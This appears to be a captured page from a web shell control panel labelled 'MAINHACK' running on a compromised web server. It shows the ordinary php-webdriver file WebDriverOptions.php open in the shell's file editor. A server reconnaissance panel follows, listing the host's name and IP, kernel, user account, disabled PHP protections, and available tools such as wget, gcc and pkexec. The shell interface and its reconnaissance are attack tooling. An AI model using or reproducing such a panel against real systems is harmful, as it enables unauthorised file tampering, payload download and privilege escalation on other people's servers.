[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WebDriverOptions.php
<?php namespace Facebook\WebDriver; use Facebook\WebDriver\Exception\Internal\LogicException; use Facebook\WebDriver\Exception\NoSuchCookieException; use Facebook\WebDriver\Remote\DriverCommand; use Facebook\WebDriver\Remote\ExecuteMethod; /** * Managing stuff you would do in a browser. */ class WebDriverOptions { /** * @var ExecuteMethod */ protected $executor; /** * @var bool */ protected $isW3cCompliant; public function __construct(ExecuteMethod $executor, $isW3cCompliant = false) { $this->executor = $executor; $this->isW3cCompliant = $isW3cCompliant; } /** * Add a specific cookie. * * @see Cookie for description of possible cookie properties * @param Cookie|array $cookie Cookie object. May be also created from array for compatibility reasons. * @return WebDriverOptions The current instance. */ public function addCookie($cookie) { if (is_array($cookie)) { // @todo @deprecated remove in 2.0 $cookie = Cookie::createFromArray($cookie); } if (!$cookie instanceof Cookie) { throw LogicException::forError('Cookie must be set from instance of Cookie class or from array.'); } $this->executor->execute( DriverCommand::ADD_COOKIE, ['cookie' => $cookie->toArray()] ); return $this; } /** * Delete all the cookies that are currently visible. * * @return WebDriverOptions The current instance. */ public function deleteAllCookies() { $this->executor->execute(DriverCommand::DELETE_ALL_COOKIES); return $this; } /** * Delete the cookie with the given name. * * @param string $name * @return WebDriverOptions The current instance. */ public function deleteCookieNamed($name) { $this->executor->execute( DriverCommand::DELETE_COOKIE, [':name' => $name] ); return $this; } /** * Get the cookie with a given name. * * @param string $name * @throws NoSuchCookieException In W3C compliant mode if no cookie with the given name is present * @return Cookie|null The cookie, or null in JsonWire mode if no cookie with the given name is present */ public function getCookieNamed($name) { if ($this->isW3cCompliant) { $cookieArray = $this->executor->execute( DriverCommand::GET_NAMED_COOKIE, [':name' => $name] ); if (!is_array($cookieArray)) { // Microsoft Edge returns null even in W3C mode => emulate proper behavior throw new NoSuchCookieException('no such cookie'); } return Cookie::createFromArray($cookieArray); } $cookies = $this->getCookies(); foreach ($cookies as $cookie) { if ($cookie['name'] === $name) { return $cookie; } } return null; } /** * Get all the cookies for the current domain. * * @return Cookie[] The array of cookies presented. */ public function getCookies() { $cookieArrays = $this->executor->execute(DriverCommand::GET_ALL_COOKIES); if (!is_array($cookieArrays)) { // Microsoft Edge returns null if there are no cookies... return []; } $cookies = []; foreach ($cookieArrays as $cookieArray) { $cookies[] = Cookie::createFromArray($cookieArray); } return $cookies; } /** * Return the interface for managing driver timeouts. * * @return WebDriverTimeouts */ public function timeouts() { return new WebDriverTimeouts($this->executor, $this->isW3cCompliant); } /** * An abstraction allowing the driver to manipulate the browser's window * * @return WebDriverWindow * @see WebDriverWindow */ public function window() { return new WebDriverWindow($this->executor, $this->isW3cCompliant); } /** * Get the log for a given log type. Log buffer is reset after each request. * * @param string $log_type The log type. * @return array The list of log entries. * @see https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol#log-type */ public function getLog($log_type) { return $this->executor->execute( DriverCommand::GET_LOG, ['type' => $log_type] ); } /** * Get available log types. * * @return array The list of available log types. * @see https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol#log-type */ public function getAvailableLogTypes() { return $this->executor->execute(DriverCommand::GET_AVAILABLE_LOG_TYPES); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002